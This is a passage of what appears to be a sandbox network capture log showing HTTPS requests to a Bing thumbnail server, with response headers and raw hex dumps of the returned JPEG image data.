2024-11-27 23:19:21 UTC	16384	IN	Data Raw: cb 7d 2e fd cd f7 96 30 02 c6 a4 e4 f6 19 ff 00 81 1a df 92 eb 5e 86 0a 5a e9 b9 d8 d8 e9 a3 5a d3 65 b6 d5 27 97 cb 92 41 e6 ac 5f 22 c8 18 63 6f f7 b6 fe 3c fe 95 15 c6 8f a6 5a aa 5a db 45 1b 3c 7b 61 65 55 fd dc 61 7a 2e 3b e2 b7 74 f9 23 b6 b5 92 53 d3 6e 77 7d dd c4 71 c5 73 cd 29 5e bf 31 8d be 55 f7 ac b7 7a 1a 21 3c 58 64 86 d6 3b 88 3e 6b 85 c6 d5 55 dc d2 0c e3 eb f9 56 7a 34 1a e4 77 56 73 c5 24 12 b4 1e 5b 2c 8c 53 68 cf cc 38 e4 03 d3 23 a8 ae 73 e3 9d 97 8a ee f4 f8 22 d0 a5 92 39 e3 94 3e f8 a4 d9 24 38 fb bb 5b b7 5e 6b a5 f0 6c 3a be a5 e1 7b 5b bf 10 f9 70 6b 16 2a 45 f2 c2 c8 de 71 1c 2b 0d a4 e0 37 ca c7 de ba 23 18 fb 3b f3 2f d4 c6 4d f3 da df e4 4f e1 8b 37 d1 3c 3b 1d 84 92 cf 29 82 49 36 f9 ec 59 f6 16 25 46 e3 d5 40 c6 3d b1 4e Data Ascii: }.0^ZZe'A_"co<ZZE<{aeUaz.;t#Snw}qs)^1Uz!<Xd;>kUVz4wVs$[,Sh8#s"9>$8[^kl:{[pk*Eq+7#;/MO7<;)I6Y%F@=N
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: c6 f6 19 3f 4a af 7f 2e 95 e1 c8 ed 75 8d 57 50 b9 d6 2f 96 42 d0 4b 7b 72 52 d9 50 f4 db 11 e1 db be 4f 1f 37 d2 b2 1b c6 77 9e 33 d4 27 b3 d1 34 d5 9e 4b 38 04 d2 46 cc 8a cb f3 85 f9 17 8d cd 8e fd 3e 95 d3 08 ad e1 13 9a 52 6d 5a 52 d4 b7 0c ef 75 a5 cf ab 59 6a 7f 69 b1 5c 41 6d 26 d0 90 a9 e1 3c b8 c3 75 03 ee 8c e0 0d d9 ef 5c 37 8c e6 bd bf d5 a7 92 ce da 0b 61 23 6c f2 3e d2 1d e1 c7 f7 ce 00 66 38 cf 15 6f e2 a5 fe af 65 ae 69 be 1b d3 ee 64 8c 71 e5 da 47 85 85 5d 9f e5 09 80 32 de fe b5 c1 f8 9e 4d 67 4c d4 a7 8a f5 7f 78 b2 6c 69 62 93 7a e7 be 6b be 8d 1b be 6e e7 25 5a 96 56 23 d7 ed 6f 17 50 90 85 82 49 23 c9 69 2d a4 1b 73 dc 55 3b 3b c1 32 ed fb b2 6d f9 97 71 6a 7e 9b ab f9 ad 21 b8 6e 5b 09 fc e9 97 ba 25 cc ed f6 cb 4d bb 97 ee b2 b6 Data Ascii: ?J.uWP/BK{rRPO7w3'4K8F>RmZRuYji\Am&<u\7a#l>f8oeidqG]2MgLxlibzkn%ZV#oPI#i-sU;;2mqj~!n[%M
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: 4b 26 23 e8 bf 79 bf 8a b3 7a b3 58 e8 87 5d 4e 23 8d b6 6d ca d6 45 cc d9 59 3d 64 61 f3 75 fd 6a d4 d2 17 59 00 f9 7f f6 6f fe b5 56 92 09 65 99 60 83 f7 85 7f 8b ee ae 6b 55 68 a3 39 49 cb 61 f6 e9 fe ae de 36 56 9a 4f ba ad fc 3e e6 b5 96 28 ad 63 f3 25 66 6f fa 68 df 79 8e 7b 57 9a f8 77 5e b8 1f 16 2f 34 9b 8b 6b bb 99 62 52 bb e2 5d b0 da c6 3b b1 3e a6 bb 49 2e e4 0b f6 8b bf 9b fe 79 c7 55 2a 72 d1 bd 98 46 69 26 ba a2 7b cb 81 2d d2 c0 3f 77 1a f3 fe f1 ef 51 5c 59 a5 d6 e8 9e 7d bb 9b 3f 2f f2 aa da 3b b5 c5 e3 48 76 b6 d5 cf fb c4 f6 ab 9a a4 a6 06 51 14 4b e6 49 cf cd f3 6d fc 2a 65 75 25 14 54 5a 69 b6 60 cc 6d ad f5 cb 9f 26 59 3c 98 94 27 97 b7 0d bc f5 c7 e3 58 fa c0 74 bc d8 9b 94 2a fc cd c6 fe 6b 7e ea 34 f3 a4 b9 92 5d c7 6e 19 9b 1f Data Ascii: K&#yzX]N#mEY=daujYoVe`kUh9Ia6VO>(c%fohy{Ww^/4kbR];>I.yUrFi&{-?wQ\Y}?/;HvQKImeu%TZi`m&Y<'Xt*k~4]n
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: ff 00 df 34 d4 ae ac 4d b5 b9 b1 7d 84 65 1e 6f 98 57 ee c9 b7 ef 71 d7 da b2 ac e3 c5 d7 1b 58 b3 7f 17 e3 56 b5 5b c6 8b 50 8c 9d b2 c2 b1 e1 f6 ff 00 11 aa b1 b2 7d a9 64 8f e5 0f ca af f4 a8 a6 9f 2d cd 2a 5b 9c b5 25 9e c9 3c f8 24 dd bb 23 63 70 dd 71 c5 6a e8 e9 72 b2 30 9e 2f dc f9 7f 2f d4 74 c5 53 58 fc cb 7c 86 e7 f8 77 35 50 92 6b 9b 2b e5 49 19 95 57 f8 37 6d e7 b1 ac 6c e6 ad 7d 4b 4d 41 de c6 b6 a9 1a 3c db c2 f3 16 3f fd 54 96 a1 5a 36 fd d3 2c 9b b3 bb ef 71 55 35 29 a7 95 7c d5 97 98 d7 e6 db fc 55 25 85 f7 ef 36 95 f2 d5 57 e6 6f ad 2e 56 a1 a1 5c cb 9f 53 41 84 72 af 2a bf 37 f1 35 62 df 58 c8 66 92 3b 76 56 f9 81 f2 f7 73 fa d6 86 a5 3c a1 94 c4 cd 85 6c 7f 7a a9 5e 5e a7 9d 23 45 12 c8 55 70 b2 73 f9 53 a2 e5 ba 15 5e 4e a5 2b 7b 71 Data Ascii: 4M}eoWqXV[P}d-[%<$#cpqjr0//tSX\|w5Pk+IW7ml}KMA<?TZ6,qU5)\|U%6Wo.V\SAr75bXf;vVs<lz^^#EUpsS^N+{q
2024-11-27 23:19:21 UTC	16067	IN	Data Raw: 22 ed ee 96 34 ab 89 ef e1 92 2b 88 15 42 b6 37 2c 9b 5b 9f 6a 9a 1b 7b 3f 2f cc b4 92 45 65 5f e1 f6 ed 8e 95 c3 6b 73 78 8f 42 db 21 95 67 b6 db fb cf 2d 4f cb f5 ff 00 1a 7f 85 fc 67 1c ac f0 5c aa c5 dd 36 b7 e9 5a 4a 8d 4b 73 45 5e 24 42 ac 1b e5 93 b3 36 bc 4f 7f 6d 69 75 6b 67 2a cf 04 d7 59 da d0 28 db f5 23 fc 2b 91 bb b1 97 ed 52 12 d2 33 79 84 33 32 9f 9b 1d 3e 9c 57 53 73 aa 69 57 76 3b ee 7c 99 56 36 fd df 99 f2 95 3e c7 aa d4 56 7a bc 0b 32 db 98 16 75 65 fd db 37 de 5f eb 5a 52 a8 d6 c8 c6 bc 53 7a bd 0e 72 6f 34 ed 32 7e f6 2e 9f 74 6e 8f fc 45 53 47 31 cc c8 62 69 d6 4f bb b7 3f e4 57 75 7d e1 ed 32 49 96 73 79 24 0d 26 36 c5 f7 bb 74 e7 ad 64 eb 1a 55 c6 9d fb f9 19 6e 6d f7 1d d2 43 f2 ba 8f f6 97 a5 6f 1a b1 96 9d 4c 65 4a 51 77 33 21 Data Ascii: "4+B7,[j{?/Ee_ksxB!g-Og\6ZJKsE^$B6Omiukg*Y(#+R3y32>WSsiWv;\|V6>Vz2ue7_ZRSzro42~.tnESG1biO?Wu}2Isy$&6tdUnmCoLeJQw3!
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: 3d 1c 35 05 4e 1a ee 3a eb 56 d1 a0 91 60 7b cf de 3b 04 54 8f 25 d8 9e 80 05 e6 ac 4d 37 92 cb f6 7d 3f cc 0c df bc 92 59 36 b2 fd 33 9c d4 a8 96 7b 7c c0 d1 f9 9d 55 bc be fe b4 eb 87 de ca ee ab e5 aa fc dd 77 7e 15 cf 68 ee 74 ea 8c 5b 88 2e 1e d6 48 be 59 3c c6 cf cc bf 37 07 39 06 b3 6f f4 d4 79 bc d7 81 95 b7 7d e9 3f 8b e8 c3 d6 ba 0b ab 98 22 f9 e7 89 a3 55 5f a9 6c f1 da 92 59 2d ef 2d 5d 03 79 81 78 56 8d b3 b6 ae 12 6a d6 22 50 52 46 36 9f 18 fb 1b 18 a5 6c 2f 1e 5e e3 bb e9 cf ad 3e 4f 0f 65 59 96 d2 3b 69 25 e3 cd 83 2a 57 23 f5 ab d6 b6 18 b7 90 9e ad 83 ba 3c ae df 6e 69 34 5d 6a 71 a8 35 95 ef ef 15 78 f3 3f bc 3b 1a b7 52 71 6d ad 8c d4 22 d2 52 30 2f a3 d5 74 e8 da 09 57 ed 31 ee ce e5 6f 9b 8f 6a a1 e1 fd 62 46 b7 f3 ec 6d bf 79 1b 7f Data Ascii: =5N:V`{;T%M7}?Y63{\|Uw~ht[.HY<79oy}?"U_lY--]yxVj"PRF6l/^>OeY;i%*W#<ni4]jq5x?;Rqm"R0/tW1ojbFmy
2024-11-27 23:19:22 UTC	16384	IN	Data Raw: c2 f0 d2 2b 7e 59 ac fb 8b bf 26 66 4f 29 65 54 fb bb 7e f7 4e 6a f5 f6 b3 a3 05 6f 36 c7 f7 8d c3 7c a3 6f e7 59 52 49 1c ff 00 ea ba 33 7f bc b5 ad 38 b6 b5 46 55 2d 7d 19 0c cc 8d 75 1d dc 6a ca 57 ef 2f b5 32 e4 48 f7 4d 04 7d 5b f8 9b 34 f4 8d c7 ce 7f ef 9d bc 55 65 ba 9d 2e 15 d1 99 83 71 b5 ab a1 2b 9c ef cc b5 63 13 45 62 81 be 63 d1 9b 6f f9 e2 a7 91 8c 56 72 32 7d ef e2 66 6f f2 29 2d 6e 63 7b 7c 79 5f 36 ec fc b4 e9 9e 2f b2 b0 db fe cf dd ef ee 2b 3b b7 2d 4b 5b 68 57 f0 eb 3d cd af 97 71 bb 74 5f 27 f8 57 69 f0 fa 58 16 69 2d a5 da bb 79 56 66 fb de d5 ce 58 69 b7 10 58 ad c5 bb 2c 92 47 c7 fb c3 d3 de ad 68 f0 6a 9a 84 92 08 1e d2 d9 9b ee ac 9f 7b 23 b6 05 63 5f 96 77 b3 b2 37 c3 f3 41 c7 4b b3 67 c5 9a 46 92 ec d2 5e aa a4 6a df c2 db 36 Data Ascii: +~Y&fO)eT~Njo6\|oYRI38FU-}ujW/2HM}[4Ue.q+cEbcoVr2}fo)-nc{\|y_6/+;-K[hW=qt_'WiXi-yVfXiX,Ghj{#c_w7AKgF^j6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49721	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:20 UTC	346	OUT	GET /th?id=OADD2.10239381967042_1FKAPEYMF956HWNGL&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 23:19:21 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 448335 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: D4FFF63066F6444CB01002B086773F16 Ref B: EWR30EDGE0209 Ref C: 2024-11-27T23:19:21Z Date: Wed, 27 Nov 2024 23:19:20 GMT Connection: close
2024-11-27 23:19:21 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 31 35 3a 32 33 3a 30 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 15:23:088C
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: ff 00 80 d3 9b fb b4 df fc 75 aa 89 41 fe f5 22 d3 e9 ac 37 49 f2 d4 80 2d 2e 17 d7 ee d2 28 65 a7 37 fa ca 77 01 9f ef 51 fe ed 2a fc b4 6d f6 a6 03 71 fb ba 56 fe ed 2f de a6 af cb f7 69 6c 01 d6 95 9b fb b4 98 fe 1a 76 ef 7a 60 36 93 fe 5a 53 fe ec 9b 69 1b e6 8e 80 1b fe ed 26 3f ef 9a 70 a2 82 44 c7 f7 a9 d9 a1 69 28 28 18 52 7f c0 e9 68 f9 fe f5 02 b8 8b f2 d2 d3 54 7f df 34 f6 14 0c 4a 6a fc af b6 9d f2 d1 f2 af fb 34 0a c3 57 72 ad 2b 0f e2 a3 ff 00 42 a1 68 0d 85 61 fb bf 97 e5 a6 fd ef 9a 9f f2 fd d5 a6 ff 00 bd 40 30 ff 00 76 9b 8a 55 df e6 52 ff 00 b3 4d 08 46 1b a8 51 f3 fc b4 ab f2 d2 37 cd ff 00 ed d2 01 7e f4 69 43 7c bf ef 51 fe d7 f7 a8 fb bf 76 82 83 fd ea 33 4b 49 8d d4 00 dc 7f 0b 47 f3 51 8d b4 ef fd 06 86 15 44 89 86 6f 96 91 68 db Data Ascii: uA"7I-.(e7wQ*mqV/ilvz`6ZSi&?pDi((RhT4Jj4Wr+Bha@0vURMFQ7~iC\|Qv3KIGQDoh
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: e7 f7 7e 95 52 fb 50 d9 37 92 de 63 36 cd df 27 e9 5c e6 b1 7d 3f da b7 2f dd fe fa 3d 7a 38 78 ca 5b 9c 55 ea 28 e8 8e db c0 fe 28 d7 bc 3f e2 0b 8b 8d 0e 4f 29 b6 6d b8 47 4d d1 3f b3 a1 f4 aa fe 3e d7 fc 47 ab ce 93 6a 1a b4 f7 f2 7c df b9 99 db 6a 7f ba 83 e5 5f ca a9 e8 b7 91 36 8f f6 76 93 6e dd cc ef 0b fd f6 db de a9 7d a6 09 66 f2 e4 92 78 a3 d9 b9 1f 67 df 6a f4 69 62 2a a8 f2 73 3e 5e d7 38 27 42 9d f9 da f7 bb 90 58 eb 12 da ce 8d 6b 77 3e 9b 71 f7 be 47 da bf 98 ae f3 c3 3f 17 3c 4d a4 da f9 37 9a 94 77 ff 00 3f c9 15 f2 2c bf f8 fe 43 7e b5 c3 79 50 2f ef 21 f9 b6 fc db df e5 a1 9e d9 ad 7c c9 3e 69 3e f3 c2 e9 fa a9 ef 5d 0b 13 52 16 e5 93 5e 86 72 c3 c2 4b df 8a 7f 23 d9 ad fe 32 25 e4 0f 1d d6 9b 1c 51 ca 8a bb 21 76 fb df ed 6f 1c af b5 Data Ascii: ~RP7c6'\}?/=z8x[U((?O)mGM?>Gj\|j_6vn}fxgjib*s>^8'BXkw>qG?<M7w?,C~yP/!\|>i>]R^rK#2%Q!vo
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: b1 bf 6f a7 f8 79 3f 7d 37 db a5 8f e6 fd cf cb bb 77 6c 3f ff 00 63 58 17 1a 5c 17 17 4c d1 f9 96 ed bf e7 4a c8 6d 5a 53 fb e8 67 dd b7 f8 3f b9 57 f4 9d 41 65 92 69 24 f9 be ef cf 5d 16 71 31 72 8b 56 31 ef 95 b4 e9 dd be f4 7b ea f5 9d cc 17 56 fb 96 48 fe 5f bf 57 35 2b 66 ba dc ab e5 dd 2b 7f b7 f3 25 73 f7 5a 7c fa 74 fb bc b9 15 6b 4b 46 4b cc 9b b8 bf 23 72 dd 37 bb b2 ff 00 73 ff 00 65 ab 0c 25 ff 00 96 82 3d bf c1 fd e7 ac fb 1b 88 9e 37 5f 32 ac a5 c6 e4 45 59 37 2f fb 7f dd ae 7e 66 ba 1a db 4b 9a b6 72 ac 10 bf fa b6 66 db b3 65 53 f1 2c b7 2f 02 4d 0a 7f aa fb e8 95 24 d3 44 92 24 76 ff 00 ea fe 55 f9 3e f5 48 d1 aa da b7 9d 1f df db f2 3d 52 93 4f 51 da ea c6 1d 8b f9 ff 00 ed 37 fe cb 5a 0a 62 4d fe 64 71 b7 c9 b7 fd ca c9 92 27 b2 9d ee Data Ascii: oy?}7wl?cX\LJmZSg?WAei$]q1rV1{VH_W5+f+%sZ\|tkKFK#r7se%=7_2EY7/~fKrfeS,/M$D$vU>H=ROQ7ZbMdq'
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: fe 66 dc 7a 8b 34 e9 0d bf f1 54 1a b6 a5 f6 39 b7 7f cb 46 4d b1 6f ff 00 d0 a9 7c 2f 37 9b 1c b1 fd d6 5f e3 ac 4d 62 7f b6 5d 3b 7f 0f dd fc bb d4 53 87 ef 02 a4 9f 22 21 87 7b 4f e6 49 f7 9b f8 eb 98 f1 44 6d e7 4b e6 7f 7d 59 2b a7 0e a9 23 47 37 cc bb 16 b0 7c 65 03 2c 1e 64 9f 2e e7 af 5b 09 a4 d1 e5 e2 95 d5 cc 66 76 89 3f d6 7c df c7 55 fc cd df f0 2a 9e 44 dd 1f cb f7 aa 08 d3 6e cd bf 7a bd 38 9e 78 b6 e3 6c df 37 fc 02 ac ac 0b e6 79 8d 27 ca f4 96 96 fe 6e f9 1b cc 5a 99 86 cf 97 cb fb a9 f2 52 94 b5 d0 14 49 b4 15 66 d4 ad 3e 4f 97 ed 0a db eb d2 21 8f 6c 9f b9 fe e7 cf f8 d7 9e f8 66 56 7d 52 d2 15 4d aa af bb e7 fe 75 e8 4c e8 ba 76 d5 fb d5 e2 66 72 7e d1 2f eb 73 d8 cb be 06 37 52 4f dc 5b cc bf c2 f4 d6 91 5e 3f 97 ef 2f f7 2a 39 2e 64 Data Ascii: fz4T9FMo\|/7_Mb];S"!{OIDmK}Y+#G7\|e,d.[fv?\|UDnz8xl7y'nZRIf>O!lfV}RMuLvfr~/s7RO[^?/9.d
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: 2c ec 7e ef ee d6 e2 54 f9 5b ef 7d de 2a ff 00 9b 2d af d9 e3 58 e3 db 2b b6 f4 fe fd 78 f5 2b 4b 99 d9 9e a5 3a 29 25 74 79 17 c5 c7 6f 0f 6b 96 97 56 70 46 b1 ca 91 ef 85 3e 55 f2 f7 6e 7f bb fc eb db 6d 62 b9 bf d0 d2 e2 de 48 d6 3f 95 a1 74 4d df 28 fb ad 9a f1 ef da a2 dd 53 58 d2 61 5f 9b 6e 9d f7 36 7c bf eb 0d 7a 57 c0 bd 43 fb 47 e0 be 93 71 1f f0 db fd 99 bf de 4f 94 d5 57 93 9e 1e 33 7b a6 45 24 a3 5a 51 47 3b f1 ab 4b 6d 46 35 b7 b3 8e 46 6b 27 da 9f bc dd fb c9 bb 91 de b9 7f 04 d9 cb a5 ea bf eb 2f af e1 f2 7f e3 df 7e ef 98 7f 18 db fc 5b ba 0c d7 55 79 ae 7f 69 7c 4d bb d0 ed 7c c9 61 fb 23 79 cf 0f f0 48 8a 0a ff 00 e3 bf 29 ff 00 78 56 56 8b 67 e2 3d 66 79 b4 bd 2f c8 d0 ed d7 e5 9a f9 ff 00 7b 2f 96 3f e7 9a af 15 a5 39 4b d9 f2 bd 89 Data Ascii: ,~T[}*-X+x+K:)%tyokVpF>UnmbH?tM(SXa_n6\|zWCGqOW3{E$ZQG;KmF5Fk'/~[Uyi\|M\|a#yH)xVVg=fy/{/?9K
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: 2b 7f 7f e4 a9 59 19 a3 f3 3c cf f7 fe 7a b0 b1 45 3a 79 df c5 17 cd 55 64 31 ac 6d 1c 92 22 b3 7c df 7e 84 ee c7 b1 76 18 e2 fe c7 fb 44 df 79 3e 6f f6 aa a4 37 2c 9b d6 38 e4 66 6a ad 78 6e 65 8f c9 ff 00 96 6b f3 25 26 e9 e2 ff 00 8f 8f 33 72 ff 00 1d 5f b2 f3 17 b4 e8 6a 35 eb 2c 1e 5c 91 c6 df ee 53 bc f6 f2 fc c9 b7 fc df 36 ff 00 f3 d6 b2 64 96 56 93 e5 fb ab 56 21 92 7f 9e 16 ff 00 57 fe dd 65 2a 29 17 1a b7 2a 5d 15 6f f6 9b ff 00 65 aa 71 c8 ed 1b ee f9 76 fc bf ee 55 eb c0 ab f2 b7 f0 fc bf 25 51 8c b3 ef f2 e3 fd e5 77 53 4a c7 1c dd 98 e8 c6 fb 44 5f ee 3b 6f a9 ef 25 66 8e 25 ff 00 9e 48 cb ff 00 01 a8 58 34 7f 2b 79 9b 55 fe e5 35 b6 34 9b 7c ba 6d 5d dc 14 ac ac 4d 1f cf f2 fe ed 7f db df 55 65 3f bf db ff 00 3c be 5a 9a 4f dd da ee f2 ea Data Ascii: +Y<zE:yUd1m"\|~vDy>o7,8fjxnek%&3r_j5,\S6dVV!We)]oeqvU%QwSJD_;o%f%HX4+yU54\|m]MUe?<ZO
2024-11-27 23:19:21 UTC	16065	IN	Data Raw: be 5a 86 17 9e 07 dc b2 7c b5 a4 e9 73 ad f5 22 35 39 1d fa 1d 74 76 70 26 c9 17 ee b6 e5 f9 2a bc d1 3c 49 fb 9f f7 6a 8d 9e a6 d3 46 91 b4 7f 37 dd d9 5b 5a 7a 44 d2 79 6d 26 df ee 7c f5 c1 38 ca 0e d2 3b a1 28 cd 5a 2b 43 16 e0 ab c8 fb bf e0 14 df 21 5a 3f ee fc 95 d0 6a 1a 74 53 c9 ba 38 f6 ff 00 0f fb f5 55 b4 d6 7f f5 7f 7b fb 94 d5 65 62 25 45 dc c1 b8 83 67 fc b3 aa 7b 36 fc de 67 cc b5 d0 5e 59 f9 10 b6 e8 ff 00 d9 47 4a c4 ba 8f 6d 75 51 aa a4 b4 67 35 5a 7c bb 95 b6 32 cf b7 fd ba 7c 33 f9 52 3b 7d e6 a2 4f 9a 4f 9b ee d3 2b ad 6b b9 cd b1 62 3b cd d2 7c de 63 7c ff 00 c7 57 2c ee 53 cf 7d d2 7c ad 58 f3 6e 59 37 2f f1 53 7e fc 9f 35 12 a7 16 35 51 a6 6d dd 4b ff 00 3c 64 f9 68 59 b7 da f9 7f f0 1a cd b3 95 5a 4f 26 49 3f bc a8 f5 76 30 df c5 Data Ascii: Z\|s"59tvp&*<IjF7[ZzDym&\|8;(Z+C!Z?jtS8U{eb%Eg{6g^YGJmuQg5Z\|2\|3R;}OO+kb;\|c\|W,S}\|XnY7/S~55QmK<dhYZO&I?v0
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: 4b 72 a1 26 9d d1 b0 b7 91 bc ff 00 ea fe 66 f9 76 7f 0e da 64 fb 65 9d a4 f3 24 65 f9 b6 56 45 8c ac 8e f1 c9 be ae 29 fe 1f e1 6a c5 d2 e5 77 36 8d 5e 64 5a 86 f3 c8 7d d2 7c bf c3 bf fb 95 a5 6f 7f 6d 2d aa aa fd df ba 9b 2b 0d 4b cb f2 ff 00 76 9b 6b 2b c1 f2 d6 52 a3 19 2f 32 a3 55 c5 f9 1b aa 19 76 37 f7 7e fd 33 ca 59 f6 49 0c 9b 7f bf 54 d6 f9 9b fd 1d bc cd df c7 be 9d f6 98 9f 7c 6b f7 6b 25 4e 71 66 de d2 0c 3c f9 d2 74 87 fb bb be 7f ef d3 26 32 f9 7f f2 cd 5a 96 39 e0 69 11 7e f3 6f fb f5 1c d2 3f 99 bb ee ab 7c bf f0 2a d9 45 73 6c 4b b5 b7 23 be 0c b2 7c df 7a 99 b1 53 63 37 de fe 37 4f e0 a9 2e a4 dd 03 b7 f1 6f dd 45 ac 6b b3 ce 93 62 ae fd bf f0 2a ab da 26 5c ba 93 5c 5c 5b 4f 63 f6 3f b8 bf 2f dc 7d bf 85 42 ba 52 c6 ef b6 79 19 7e 56 Data Ascii: Kr&fvde$eVE)jw6^dZ}\|om-+Kvk+R/2Uv7~3YIT\|kk%Nqf<t&2Z9i~o?\|EslK#\|zSc77O.oEkb&\\\[Oc?/}BRy~V
2024-11-27 23:19:22 UTC	16384	IN	Data Raw: fd e3 ff 00 b1 fe cd 5d 3a 6e fe f2 d4 99 54 56 f7 48 7c 51 2d cb ec 87 ec 91 ab 7d e7 d9 54 b4 db fb 98 37 c3 0b ce b1 b2 6d d9 bf e5 e6 a2 59 27 bc 9d e4 69 37 49 2b d3 e6 b0 f2 af a5 8e 39 3e 58 9f fd 77 dd af 4a 10 51 8a 83 dc f3 e7 29 4a 7c ea e7 55 fd bb 67 65 a5 c3 24 8e 92 cd b1 57 62 7f 1b 0a c1 b3 d5 f5 07 d5 52 e9 a4 91 bf b9 17 f0 fd 2b 29 4e 64 f2 7f db ab d6 ff 00 b8 f9 61 93 6e df ef d4 aa 10 a7 17 a5 db 29 d6 a9 51 ae 89 1d 44 7f f1 37 9f ce 9a 49 17 c8 f9 76 23 fc bf 5a da b5 b6 8a df e6 85 36 ff 00 b9 58 5e 1b 5f 3b 7c 9e 5a 2c 8a fb 7e 47 fc eb a5 f9 7c cf f6 be ed 78 98 a7 2e 6e 5e 87 ab 45 2e 5e 6e a3 6e ac a3 b9 b5 7b 5b 88 e4 68 db ef a5 73 97 d6 91 59 5f 7d 96 df fd 5f de fe 16 d9 5b 1e 24 bd 96 ce c5 16 de 4d b2 4a fb 7f da db 58 Data Ascii: ]:nTVH\|Q-}T7mY'i7I+9>XwJQ)J\|Uge$WbR+)Ndan)QD7Iv#Z6X^_;\|Z,~G\|x.n^E.^nn{[hsY_}_[$MJX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49724	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:20 UTC	375	OUT	GET /th?id=OADD2.10239360284621_15T7M3RM45GPX2VDW&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 23:19:21 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 754374 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A67FB214129442AF8CC30EB66EF234C2 Ref B: EWR30EDGE1622 Ref C: 2024-11-27T23:19:21Z Date: Wed, 27 Nov 2024 23:19:20 GMT Connection: close
2024-11-27 23:19:21 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1b 26 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 35 35 3a 34 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``&ExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 